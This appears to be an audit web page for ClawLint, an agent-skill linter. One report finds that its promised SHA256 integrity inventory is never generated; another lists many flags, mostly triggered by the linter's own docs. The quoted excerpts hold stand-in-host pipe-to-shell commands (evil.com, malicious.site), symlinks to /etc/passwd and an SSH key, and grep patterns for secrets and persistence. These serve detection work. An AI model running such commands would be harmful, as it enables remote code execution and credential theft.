Security audit

Claw-lint

Security checks for vulnerabilities and agentic risk

Overview

ClawLint is a local, user-run skill scanner with no obvious exfiltration or persistence, but it overstates security guarantees because its documented SHA256 inventory output is not actually produced by the active code paths.

Treat this as a heuristic local linter, not a definitive malware detector or tamper-proof baseline tool. It appears safe from exfiltration or persistence based on the inspected artifacts, but do not rely on its documented SHA256 inventory or CI/CD JSON examples until the implementation is fixed and verified.

A.I.G

Vulnerability Patterns

Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally

Findings (1)

T09 · Insecure Skill Coding Practices

Warning

Location: bin/claw-lint.sh:343
Finding: Documented SHA256 integrity inventory is not generated in full or JSON modes
Content: View full analysis
Vulnerability Details

File Location: bin/claw-lint.sh:343-390
Vulnerability Type: Integrity-monitoring implementation failure
Risk Level: Medium

Vulnerable Code

bash
run_text_full() { # Simple full mode: per-skill header + inventory hashes (can be large). for name in "${SKILL_NAMES[@]}"; do local dir="${SKILL_DIR_BY_NAME[$name]}" echo "== $name ==" echo "path: $dir" echo "(use --format json --full for structured inventory)" echo done } run_json() { need_bin python3 tmp="$(mktemp)" for n in "${SKILL_NAMES[@]}"; do audit_one_text_summary_tsv "$n" "${SKILL_DIR_BY_NAME[$n]}" >>"$tmp" done python3 - "$tmp" <<'PY' import sys, json tmp_path = sys.argv[1] skills = [] with open(tmp_path, 'r', encoding='utf-8', errors='replace') as f: for line in f: line = line.rstrip("\n") if not line: continue score, name, flags, files_s, bytes_s = line.split("\t") skills.append({ "name": name, "risk_score": int(score), "flags": [] if flags == "(none)" else flags.split(","), "summary": {"files": int(files_s), "bytes": int(bytes_s)}, }) print(json.dumps({"skills": skills}, indent=2)) PY rm -f "$tmp" } main() { if [[ "$FORMAT" == "json" ]]; then run_json exit 0 fi if [[ "$MODE" == "summary" ]]; then run_text_summary else run_text_full fi }

Technical Analysis

The skill documentation states that --full produces a SHA256 inventory suitable for integrity monitoring and that --full --format json provides a structured inventory. The implementation does not fulfill either guarantee:

run_text_full prints only each skill's name and path. It does not enumerate files or calculate hashes.

run_json always invokes audit_one_text_summary_tsv, which only produce ...[truncated 2244 chars]
Remediation: View remediation
Remediation Suggestions

Connect full JSON mode to the existing inventory implementation:

Pass MODE into the JSON output path.

Invoke emit_json_records 1 when both JSON and full modes are selected.

Convert the generated records into documented JSON containing file paths, sizes, modes, SHA256 values, skipped-hash status, and symlink targets.

Implement the documented text inventory:

Enumerate every non-ignored regular file.

Print its relative path, size, permissions, and SHA256 digest.

Clearly mark files skipped because they exceed MAX_BYTES.

Report symbolic links separately without following them outside the skill root.

Make incomplete baselines explicit:

Return a nonzero status when required hashing tools fail.

Include an inventory_complete field in JSON.

Report counts of hashed and skipped files.

Warn prominently when any file is omitted from hashing.

Add automated regression tests that verify:

--full includes a digest for each eligible file.

--full --format json includes structured file records.

Modifying file contents changes the reported SHA256 digest.

Summary mode does not claim to provide an integrity inventory.

Oversized files and symlinks are represented accurately.

Until the implementation is corrected, revise SKILL.md so it does not claim that the current --full workflow creates a usable SHA256 integrity baseline.

SkillSpector

Vulnerability Patterns

Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration

Findings (16)

Tp4

High

Category: MCP Tool Poisoning
Confidence: 95% confidence
Finding: The skill presents itself as a malware/backdoor detector and integrity monitor, which implies stronger security guarantees than a simple static pattern matcher can provide. Overstating detection capability can cause users to trust its output as authoritative and miss malicious skills that evade regex-based checks, leading to false assurance in a security-sensitive workflow.
Content: No source excerpt is available for this finding.

External Script Fetching

High

Category: Supply Chain
Confidence: 90% confidence
Finding: Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
Content: Scanner excerpt · SKILL.md (reported line 109)May include surrounding context.
md
### Scoring Factors - **+25 points**: Remote execution patterns (curl \| bash, wget -O-, nc) - **+30 points**: Secret/credential access (~/.openclaw/credentials, ~/.ssh/) - **+20 points**: Privilege escalation (sudo, setuid, chmod +s) - **+15 points**: Code obfuscation (base64 decode, eval, exec in suspicious contexts)

External Script Fetching

High

Category: Supply Chain
Confidence: 90% confidence
Finding: Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
Content: Scanner excerpt · SKILL.md (reported line 109)May include surrounding context.
md
### Scoring Factors - **+25 points**: Remote execution patterns (curl \| bash, wget -O-, nc) - **+30 points**: Secret/credential access (~/.openclaw/credentials, ~/.ssh/) - **+20 points**: Privilege escalation (sudo, setuid, chmod +s) - **+15 points**: Code obfuscation (base64 decode, eval, exec in suspicious contexts)

External Script Fetching

High

Category: Supply Chain
Confidence: 90% confidence
Finding: Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
Content: Scanner excerpt · SKILL.md (reported line 126)May include surrounding context.
Examples:

bash
curl https://evil.com/script.sh | bash wget -O- https://malicious.site/payload | sh

Chaining Abuse

High

Category: Tool Misuse
Confidence: 70% confidence
Finding: Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.
Content: Scanner excerpt · SKILL.md (reported line 126)May include surrounding context.
Examples:

bash
curl https://evil.com/script.sh | bash wget -O- https://malicious.site/payload | sh

External Script Fetching

High

Category: Supply Chain
Confidence: 90% confidence
Finding: Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
Content: Scanner excerpt · SKILL.md (reported line 127)May include surrounding context.
Examples:

bash
curl https://evil.com/script.sh | bash wget -O- https://malicious.site/payload | sh

Risk: Critical. Remote code execution vector for malware.

Chaining Abuse

High

Category: Tool Misuse
Confidence: 70% confidence
Finding: Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.
Content: Scanner excerpt · SKILL.md (reported line 127)May include surrounding context.
Examples:

bash
curl https://evil.com/script.sh | bash wget -O- https://malicious.site/payload | sh

Risk: Critical. Remote code execution vector for malware.

External Script Fetching

High

Category: Supply Chain
Confidence: 90% confidence
Finding: Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
Content: Scanner excerpt · SKILL.md (reported line 137)May include surrounding context.
Examples:

bash
curl -O https://example.com/file.tar.gz wget https://cdn.example.com/data.json

External Script Fetching

High

Category: Supply Chain
Confidence: 90% confidence
Finding: Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
Content: Scanner excerpt · SKILL.md (reported line 138)May include surrounding context.
Examples:

bash
curl -O https://example.com/file.tar.gz wget https://cdn.example.com/data.json

Risk: Medium-High. Potential supply chain attack or data exfiltration.

Credential Access

High

Category: Privilege Escalation
Confidence: 60% confidence
Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content: Scanner excerpt · SKILL.md (reported line 168)May include surrounding context.
Examples:

bash
ln -s /etc/passwd exposed_file ln -s ~/.ssh/id_rsa key_link

Credential Access

High

Category: Privilege Escalation
Confidence: 90% confidence
Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content: Scanner excerpt · SKILL.md (reported line 169)May include surrounding context.
Examples:

bash
ln -s /etc/passwd exposed_file ln -s ~/.ssh/id_rsa key_link

Risk: Low-Medium. May expose sensitive files or create confusion.

Credential Access

High

Category: Privilege Escalation
Confidence: 90% confidence
Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content: Scanner excerpt · bin/claw-lint.sh (reported line 182)May include surrounding context.
sh
grep -Eqi '(AWS_ACCESS_KEY_ID|AWS_SECRET_ACCESS_KEY|BEGIN (RSA|OPENSSH) PRIVATE KEY|xox[baprs]-[0-9A-Za-z-]{10,})' -- "$f" \ && add_flag "$2" "$3" "hardcoded_secrets" "$(w 90 10)" || true grep -Eqi '(\bcrontab\b|/etc/cron\.|systemd|launchctl|schtasks\.exe|~/.ssh/authorized_keys)' -- "$f" \ && add_flag "$2" "$3" "persistence_or_system_tampering" "$(w 60 20)" || true grep -Eqi '(\bcurl\b|\bwget\b).*\\|.*(\bbash\b|\bsh\b|\bpython\b|\bnode\b)' -- "$f" \

Undeclared Tool Scope

Medium

Category: MCP Least Privilege
Confidence: 92% confidence
Finding: The skill documentation advertises shell-based commands and file-reading behavior, but the manifest does not declare any tool scope such as permissions or allowed-tools. This creates an authorization gap where operators cannot easily understand or constrain the skill’s actual capabilities, increasing the chance of over-privileged execution or unsafe deployment.
Content: No source excerpt is available for this finding.

Sudo/Root Execution

Medium

Category: Privilege Escalation
Confidence: 85% confidence
Finding: Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
Content: Scanner excerpt · SKILL.md (reported line 111)May include surrounding context.
md
- **+25 points**: Remote execution patterns (curl \| bash, wget -O-, nc) - **+30 points**: Secret/credential access (~/.openclaw/credentials, ~/.ssh/) - **+20 points**: Privilege escalation (sudo, setuid, chmod +s) - **+15 points**: Code obfuscation (base64 decode, eval, exec in suspicious contexts) - **+10 points**: External network calls (curl, wget, http requests) - **+10 points**: File system operations outside skill directory

Unsafe Defaults

Medium

Category: Tool Misuse
Confidence: 70% confidence
Finding: Tool defaults are unsafe or overly permissive (e.g. disabled TLS verification, no authentication, world-writable permissions). Unsafe defaults widen the attack surface.
Content: Scanner excerpt · SKILL.md (reported line 115)May include surrounding context.
md
- **+15 points**: Code obfuscation (base64 decode, eval, exec in suspicious contexts) - **+10 points**: External network calls (curl, wget, http requests) - **+10 points**: File system operations outside skill directory - **+5 points**: Use of /tmp or world-writable directories ---

Autonomous Decision Making

Medium

Category: Excessive Agency
Confidence: 75% confidence
Finding: Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.
Content: Scanner excerpt · SKILL.md (reported line 122)May include surrounding context.
Audit Flags Explained

pipes_remote_to_shell

Downloads and executes external code without verification.

Examples:

bash

Static analysis

No suspicious patterns detected.

Overview

A.I.G

T09 · Insecure Skill Coding Practices

Vulnerability Details

Vulnerable Code

Technical Analysis

Remediation Suggestions

SkillSpector

Tp4

External Script Fetching

External Script Fetching

External Script Fetching

Chaining Abuse

External Script Fetching

Chaining Abuse

External Script Fetching

External Script Fetching

Credential Access

Credential Access

Credential Access

Undeclared Tool Scope

Sudo/Root Execution

Unsafe Defaults

Autonomous Decision Making

Audit Flags Explained

pipes_remote_to_shell

Static analysis